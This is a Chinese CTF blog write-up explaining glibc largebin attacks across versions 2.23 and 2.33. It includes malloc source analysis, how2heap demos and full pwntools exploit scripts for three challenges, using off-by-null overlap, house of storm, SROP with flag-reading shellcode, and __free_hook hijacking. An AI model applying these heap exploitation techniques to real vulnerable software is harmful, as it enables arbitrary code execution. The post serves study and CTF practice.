largebin attack

largebin attack

haruki 51 2021-10-20

前言.

最近刷题遇到好几道需要large bin attack的题目,且一些漏洞联合利用的方式也要用到large bin attack 故写此博客记录

认识largebin

先通过一个简单的demo来认识largebin

#include<stdlib.h>
#include<stdio.h>

int main(){
  int * a = malloc(0x430);
  malloc(0x10);
  int * b = malloc(0x440);
  malloc(0x10);
  int * c = malloc(0x450);
  malloc(0x10);
  free(b);
  free(c);
  free(a);
  malloc(0x1000);
}

1.png-136.7kB

根据上图,可以得出,每一个largebin链表中,堆块以从小到大的顺序排列,且fd指针总是指向比自己大的堆块(最后一个除外),相较于其他的bin多出来fd_nextsize 和 bk_nextsize 指针。

largebin图解
2.png-139.3kB

2.23 mallac 源码解析

下面实在2.23下的有关largebin 的部分源码,glibc2.27和glibc2.23相似,只是的多了有关tacahe的判断

for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index); 
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

这段代码是判断将chunk从unsorted bin中脱离出来进入到所属bin的过程,如果chunk的大小在0x400以上,就会把chunk分配到largebin中

接下来就是关键: 由于largebin中需要满足chunk从小到大等顺序排列,所以当一个chunk归入largebin时,会存在一个解链的操作

在代码的110行到第113行

    victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;

当解链的时候会有victim->bk_nextsize->fd_nextsize = victim 即 fwd->bk_nextsize->fd_nextsize=victim

而在最后有

    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

可以看到bck->fd = victim,即fwd->bk->fd = victim

综上,如果可以控制bk和bk_nextsize的值,就可以实现任意地址写

how2heap largebin attack for 2.23

代码

// gcc large_bin_attack.c -o large_bin_attack -g
#include <stdio.h>
#include <stdlib.h>
int main()
{
  unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
    unsigned long *p1 = malloc(0x320);
    malloc(0x20);
    unsigned long *p2 = malloc(0x400);
    malloc(0x20);
    unsigned long *p3 = malloc(0x400);
    malloc(0x20);
    free(p1);
    free(p2);
    void* p4 = malloc(0x90);
    free(p3);
    p2[-1] = 0x3f1;  //p2->size
    p2[0] = 0;       //p2->fd
    p2[2] = 0;       //p2->fd_nextsize
    p2[1] = (unsigned long)(&stack_var1 - 2);  //p2->bk
    p2[3] = (unsigned long)(&stack_var2 - 4);  //p2->bk_nextsize
    malloc(0x90);
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

程序分析

Step0: 定义stack_var1,stack_var2并且赋值为0

Step1: 申请p1=0x320,p2=0x400,p3=0x400

Step2: 释放掉p1,p2进入unsorted bin

Step3: 申请p4=0x90,此时发生unsorted bin遍历,从p1切割0xa0大小分配给p4,同时由于p2>0x3f0,直接进入largebin

Step4: 释放p3进入unsorted bin

Step5: 修改p2的size=0x3f1,fd,fd_nextsize=0,p2->bk=&stack_var1-2(stack_var1即为fake chunk1的fd),p2->bk_nextsize=&stack_var2-4(stack_var2即为fake chunk2的fd_nextsize)

Step6:malloc(0x90),发生unsorted bin遍历,从p1分割0xa0,p3>0x3f0且p3>p2,会进行解链操作即p2->bk_nextsize->fd_nextsize = p3,p2->bk->fd=p3,即向fake chunk1的fd 和 fake chunk2的fd_nextszie , 写入了p3头指针的值,即将stack_var1 和 stack_va2修改为了p3的头指针

列题1

2019西湖论剑Storm_note

题目考点

1.largebin attack
2.chunk overlap
3.off by null

本题所衍生的一系列漏洞利用方法,也就是house of storm

题目分析

init
3.png-39.4kB
add
4.png-32.4kB
add函数用的是calloc,与malloc不同,calloc会对申请到的空间做初始化操作
edit
image_1fieomqgj1st9rdh4c5qkqn99.png-37.2kB
((_BYTE )(note[v1] + v2) = 0;)存在off by null
backdoor
image.png-19.4kB
当条件满足时可以getshell

解题步骤

Step1:构造overlap chunk

申请堆块如下

add(0x18)  #0
add(0x508) #1
add(0x18)  #2
add(0x18)  #3
add(0x508) #4
add(0x18)  #5
add(0x18)  #6

其中chunk2,chunk4是我们等下需要利用overlap控制的chunk,chunk6为了防止堆块合并

overlapping

edit(1,b'a'*0x4f0+p64(0x500)) #修改prve_size,确保堆块的合法性
free(1)
edit(0,b'a'*0x18) #off by null
add(0x18)    #1
add(0x4d8)   #7 
free(1)
free(2)   
add(0x30)   #1
add(0x4e0)  #2

此时,可以通过chunk7,来控制chunk2中的内容

梅开二度

edit(4,b'a'*0x4f0+p64(0x500))
free(4)
edit(3,b'a'*0x18) #off by null
add(0x18)     #4
add(0x4d8)    #8 
free(4)
free(5)       #overlap
add(0x40)     #4

这里add(0x40)是为了等下large chunk的大小不同触发解链操作

Step2 largebin attack

free(2)   
add(0x4e8)    #2
free(2) 

当add(0x4e8)时,会发生unsorted bin的遍历,由于0x4e8>chunk4=0x4e0,会继续向后遍历,因为chunk2=0x4f0,刚好满足条件,所以chunk2会被申请出来,而chunk4则会被放入largebin,让后再将chunk2放入unsorted bin二次利用

伪造fake chunk

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) 
payload += p64(0) + p64(fake_chunk)      
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) 
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)

edit(8,payload2)

add(0x48)

由于伪造unsorted bin 的 bk时,我们故意向上偏移了0x20字节,所以得到的size就是0,由于不够申请的size,转而进入large bin 判断部分。然后进行一系列的链接操作。最后我们会分配到0xabcd00f0 地址。

为什么要伪造p64(fake_chunk-0x18-5): 由于victim->bk_nextsize的地址就是(size_t)fake_chunk - 0x18 - 5的值,那么就相当于我们有一次任意地址写的机会,那么肯定是用来构造我们的size,以便在第二次解链的时候直接返回任意chunk。
0x18就是一个chunk的fd_nextsize的偏移,因为上面的代码是要把victim写在这里,所以我们需要提取向前偏移0x18,而- 5就是为了伪造size,在开启PIE的情况下,一般victim的值在0x555555756000附近左右,当偏移5个字节之后,那么写入size的地址就刚好是0x55,由于受随机化的影响这个值会稍微有点变动。(摘自EX师傅的博客)

下图为我们申请到的fake chunk,其size为是0x56,经过malloc对其后其size会被对齐为0x50,所以我们add的时候要在0x40~0x48之间
image_1fignpogf1l341uj3ab51slmo059.png-32.8kB

Step3 修改随机数,getshell

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

exp

from pwn import *

p = process("Storm_note")
elf = ELF("Storm_note")
libc = ELF("libc-2.23.so")

def choice(choice):
    p.recvuntil("Choice: ")
    p.sendline(str(choice))

def add(size):
    choice(1)
    p.recvuntil("size ?\n")
    p.sendline(str(size))
    
def edit(index,content):
    choice(2)
    p.recvuntil("Index ?\n")
    p.sendline(str(index))
    p.recvuntil("Content: \n")
    p.sendline(content)
    
def free(index):
    choice(3)
    p.recvuntil("Index ?")
    p.sendline(str(index))

def backdoor(lock):
    choice(666)
    p.recvuntil("in\n")
    p.sendline(lock)

add(0x18)  #0
add(0x508) #1
add(0x18)  #2
add(0x18)  #3
add(0x508) #4
add(0x18)  #5
add(0x18)  #6

edit(1,b'a'*0x4f0+p64(0x500)) #修改prve_size,确保堆块的合法性
free(1)
edit(0,b'a'*0x18) #off by null
add(0x18)    #1
add(0x4d8)   #7 
free(1)
free(2)   
add(0x30)   #1
add(0x4e0)  #2

edit(4,b'a'*0x4f0+p64(0x500))
free(4)
edit(3,b'a'*0x18) #off by null
add(0x18)     #4
add(0x4d8)    #8 
free(4)
free(5)       #overlap
add(0x40)     #4

free(2)   
add(0x4e8)    #2
free(2) 

content_addr = 0xabcd0100
fake_chunk = content_addr - 0x20

payload = p64(0)*2 + p64(0) + p64(0x4f1) 
payload += p64(0) + p64(fake_chunk)      
edit(7,payload)


payload2 = p64(0)*4 + p64(0) + p64(0x4e1) 
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit(8,payload2)

add(0x48)

payload = p64(0) * 2+p64(0) * 6
edit(2,payload)
p.sendlineafter('Choice: ','666')
p.send(p64(0)*6)

p.interactive()

RCTF 2019 babyheap

题目考点

1.chunk overlap
2.largebin attack
3.off by null
4.SROP
5.shellcode 编写

题目分析

本题的漏洞点和上一题相似,但比上一题稍难,本题同样禁用了fastbin,同时还开启了沙盒保护禁用了59号系统调用,这意味着我们无法利用system直接getshell,所以想到利用orw来读flag。题目给出了show函数,可以利用off by漏洞来泄露libc,利用house of storm劫持__free_hook,利用srop修改__free_hook处的权限的内存权限,最后将我们的shellcode植入,来读取flag

step1
泄露libc地址

add(0x80)
add(0x68)
add(0xf8)
add(0x18)
free(0)
edit(1,b'a' * 0x60 + p64(0x100)) # set prev_size

free(2)
add(0x80)
show(1)
libc_base = u64(p.recv(6).ljust(8,b'\x00'))-0x3c4b78
success(hex(libc_base))
add(0x160)

说一下都做了什么:申请0,1,2号块,申请3号块防止合并,利用off by null 修改chunk2的p_size绕过unlink检查,释放2号块,此时0,1,2号块都进入unsortedbin,申请回0号块,此时1号块中储存的就是main_arena_xx的地址,show chunk1 就能得到libc地址了,最后再将2号块申请回来

Step2: house of Storm

add(0x18) #4
add(0x508) #5
add(0x18)  #6

add(0x18) #7
add(0x508) #8
add(0x18) #9

add(0x18) #10

edit(5,b'a'*0x4f0+p64(0x500))
edit(8,b'a'*0x4f0+p64(0x500))

free(5)
edit(4,b'a'*0x18)
add(0x18) #5
add(0x4d8) #11
free(5)
free(6)
add(0x30) #5
add(0x4e0) #6

free(8)
edit(7,b'a'*0x18)
add(0x18) #8
add(0x4d8) #12
free(8)
free(9)
add(0x40) #8

free(6)
add(0x4e8) #6
free(6)

free_hook = libc_base + libc.sym['__free_hook']
content_addr = free_hook
fake_chunk =  content_addr - 0x20

payload = p64(0)*2+p64(0)+p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(11,payload)

payload2 = p64(0)*4 + p64(0) + p64(0x4e1) 
payload2 += p64(0) + p64(fake_chunk+8)   
payload2 += p64(0) + p64(fake_chunk-0x18-5)
edit(12,payload2)

add(0x40)

Step3: SROP(目前还不会,等学会了来填这个坑)

下面摘自EX师傅的博客,主要目的是把__free_hook地址设置为setcontext函数,从而控制程序流执行mprotect函数把__free_hook所在内存也修改为可执行,然后读入我们新的shellcode,在跳到新的shellcode去执行

new_execve_env = __free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env

edit(6, b'a' * 0x10 + p64(libc_base + libc.symbols['setcontext'] + 53) + p64(__free_hook + 0x10) + asm(shellcode1))

# pause()

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = __free_hook_addr + 8
frame.rip = libc_addr + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1

edit(12, str(frame))
p.sendline('3')
p.recvuntil('Index: ')
p.sendline('12')

shellcode2 = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax

mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;// 置0就行
mov rax, 2 ;// SYS_open
syscall

mov rdi, rax ;// fd 
mov rsi,rsp  ;// 读到栈上
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall

mov rdi, 1 ;// fd 
mov rsi, rsp ;// buf
mov rdx, rax ;// count 
mov rax, 1 ;// SYS_write
syscall

mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''

p.send(asm(shellcode2))

####EXP

# 咕咕咕

glibc 2.33 malloc.c部分源码分析

相较于glibc2.23,glibc2.33的malloc.c中针对,largebin 新增了两个检查(这个检查在glibc2.30时被加入)

部分源码

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
          < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
        assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
        == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

新增检查如下

if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
    malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
    
    
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

这直接导致之前的large bin attack 无法使用,

在目前的2.3+版本的largebin attack 主要利用的是以下分支,该分支可以向任意地址写入一个堆地址

    fwd = bck;
    bck = bck->bk;
    victim->fd_nextsize = fwd->fd;
    victim->bk_nextsize = fwd->fd->bk_nextsize;
    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

利用原理如下:

当我们即将要进入largebin的chunk的大小小于largebin中最小的一个chunk时会进入上述判断

其中fwd为large bin 的链表头,bck是largebin中最小的那个chunk,victim是我们当前插入的堆块

因为有victim->bk_nextsize = fwd->fd->bk_nextsize;所以有fwd->fd->bk_nextsize->fd_nextsize = victim;fwd->fd刚好是我们largebin中的第一块,如果我们可以控制并修改其bk_nextsize为我们的fakechunk-0x20,则会有(fakechunk-0x20)->fd_nextsize = victim 即fakechunk = victim,这样我们就可以控制fakechunk附近的地址空间了

how2heap largebin attack for 2.33

代码

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
  setvbuf(stdin,NULL,_IONBF,0);
  setvbuf(stdout,NULL,_IONBF,0);
  setvbuf(stderr,NULL,_IONBF,0);
  size_t target = 0;
  printf("Here is the target we want to overwrite (%p) : %lu\n",&target,target);
  size_t *p1 = malloc(0x428);
  size_t *g1 = malloc(0x18);
  size_t *p2 = malloc(0x418);
  printf("p2 address (%p)\n",p2-2);
  size_t *g2 = malloc(0x18);
  free(p1);
  size_t *g3 = malloc(0x438);
  free(p2);
  p1[3] = (size_t)((&target)-4);
  size_t *g4 = malloc(0x438);
  printf("Target (%p) : %p\n",&target,(size_t*)target);
  assert((size_t)(p2-2) == target);
  return 0;
}

分析

Step1: 定义一个target并赋值为0

Step2: 申请p1=0x428 p2=0x418,g1,g2用于防止堆块合并

Step3: 释放p1进入unsorted bin,申请g3=0x438发生unsorted bin遍历,由于p1<0x438,p1将会直接进入largebin

Step4: 释放p2进入unsorted bin

Step5: 修改p13即p1的bk_nextsize 为target-0x20

Step6: 申请g4=0x438,发生unsorted bin遍历,会将p2链入进large bin,由于p2小于p1,所以会进入如下分支

  fwd = bck;
  bck = bck->bk;

  victim->fd_nextsize = fwd->fd;
  victim->bk_nextsize = fwd->fd->bk_nextsize;
  fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

最后会有(target-0x20)->fd_nextsize = p2
即target = p2
相当于向target中写入了p2的地址

程序运行结果如下:
image_1fj24revc10d3vqt14gd1e8d101i9.png-15.3kB

例题2

[2021 祥云杯]PassWorbox ProVersion

题目分析

这题第一次做时是用的house of banana做出来的,后来看到大佬写的wp发现largebin attack也可以做

add
image_1fj5dk0g2kod1bbl1osd112er0t9.png-68.8kB

限制申请堆块大小只能为large chunk 大小,且会讲content通过encode函数加密

endcode函数如下
image_1fj5dvb0319dtkrp8cn1juo1bjrm.png-29kB
讲明文分为八位一组与key进行异或加密,且key为rand随机生成

同时还给了一个recover 函数
image_1fjht6assapj1j73req20ajk49.png-25.3kB
这个函数可以回复被释放掉的堆块的标志位,可以用来UAF

delete,edit,show都是正常的功能

解题步骤

Step1:获取key
利用fgets的特性,当输入\n时,fgets会用\x00来填充剩下的size,0 ^ key = key来得到key

add(0,0x450,b'a\n')
p.recvuntil("ID:")
p.recv(8)
key = u64(p.recv(8))

Step2:leak libc
将chunk0释放到unsorted bin中,利用UAF得到libc地址

add(1,0x420,b'aaa')
free(0)
recover(0)
show(0)
p.recvuntil("is: ")
libc_addr = (u64(p.recv(8))^key) 
libc_base = libc_addr -0x1ebbe0
success("libc_base: "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']  

Step3:largebin attack
我们已知可以利用largebin attack 在任意地址写入一个堆地址,那么往哪里写呢?

这里可以攻击mp_结构体
mp_结构体如下
1.png-27.5kB

mp_.tcache_bins其实就时只允许的最大tcache chunk大小,如果释放的chunk小于mp_.tcache_bins那么就会被当作tcache bin来处理

那我们就可以将一个chunk的地址写入到tcahe_bins的位置,来伪造其值,由于chunk的地址作为值大小都非常大,我们的large chunk也会被当作tcache chunk来处理,那我们就可以利用tcache double free劫持__free_hook来getshell了

由于mp_结构体的偏移无法利用libc.symbol计算,这里给出计算方法
2.png-47.4kB

这样我们就能得到mp_+72的地址,再利用distance计算偏移,tcache_bins在mp_+80的位置

add(0,0x450,b'aaa')
add(2,0x440,b'aaa')
add(3,0x420,b'aaa')
free(0)
add(4,0x600,b'aaa') #chunk0 -> largebin
free(2)
recover(0)
gdb.attach(p)
payload = p64(0)*3+p64(libc_base + 0x1eb280 + 0x50 - 0x20)
edit(0,payload)

Step4: 劫持free_hook

add(5,0x600,b'aaa')
add(6,0x500,b'aaa')
add(7,0x500,b'aaa')
free(7)
free(6)
recover(6)
edit(6,p64(free_hook))
add(6, 0x500,b'aaa')
add(7, 0x500,b'aaa')
edit(7, p64(system))
edit(1, b"/bin/sh\x00")
free(1)

完整exp

from pwn import *
p = process("pwdPro")
#p = remote("1.14.71.254",28114)

elf = ELF('pwdPro')
libc = ELF('libc-2.31.so')
ld = ELF('ld-2.31.so')

def add(index,size,content):
    p.recvuntil("Choice:")
    p.sendline("1")
    p.recvuntil("Add")
    p.sendline(str(index))
    p.recvuntil("Save:")
    p.sendline("1")
    p.recvuntil("Pwd:")
    p.sendline(str(size))
    p.recvuntil("Pwd")
    p.sendline(content)
  
def edit(index,content):
    p.recvuntil("Choice:")
    p.sendline("2")
    p.recvuntil("Edit:")
    p.sendline(str(index))
    p.send(content)
    

def show(index):
    p.recvuntil("Choice:")
    p.sendline("3")
    p.recvuntil("Check:")
    p.sendline(str(index))   

def free(index):
    p.recvuntil("Choice:")
    p.sendline("4")
    p.recvuntil("Delete:")
    p.sendline(str(index))
    
def recover(index):
    p.recvuntil("Choice:")
    p.sendline("5")
    p.recvuntil("Recover")
    p.sendline(str(index))

# leak key
add(0,0x450,b'a\n')
p.recvuntil("ID:")
p.recv(8)
key = u64(p.recv(8))

# leak libc
add(1,0x420,b'aaa')
free(0)
recover(0)
show(0)
p.recvuntil("is: ")
libc_addr = (u64(p.recv(8))^key) 
libc_base = libc_addr -0x1ebbe0
success("libc_base: "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']  

# largebin attack
add(0,0x450,b'aaa')
add(2,0x440,b'aaa')
add(3,0x420,b'aaa')
free(0)
add(4,0x600,b'aaa') #chunk0 -> largebin
free(2)
recover(0)
gdb.attach(p)
payload = p64(0)*3+p64(libc_base + 0x1eb280 + 0x50 - 0x20)
edit(0,payload)


# tcache double free 
add(5,0x600,b'aaa')
add(6,0x500,b'aaa')
add(7,0x500,b'aaa')
free(7)
free(6)
recover(6)
edit(6,p64(free_hook))
add(6, 0x500,b'aaa')
add(7, 0x500,b'aaa')
edit(7, p64(system))
edit(1, b"/bin/sh\x00")
free(1)

p.interactive()

参考

https://blog.csdn.net/zero_lee/article/details/7865481
https://www.bilibili.com/video/BV1Uv411j7fr?p=24
https://www.freebuf.com/articles/system/209096.html
http://blog.eonew.cn/archives/858#glibc-223mallocmallocc_3532
https://blog.csdn.net/qq_41202237/article/details/112825556
https://www.anquanke.com/post/id/244018
https://www.jianshu.com/p/d2588586a47d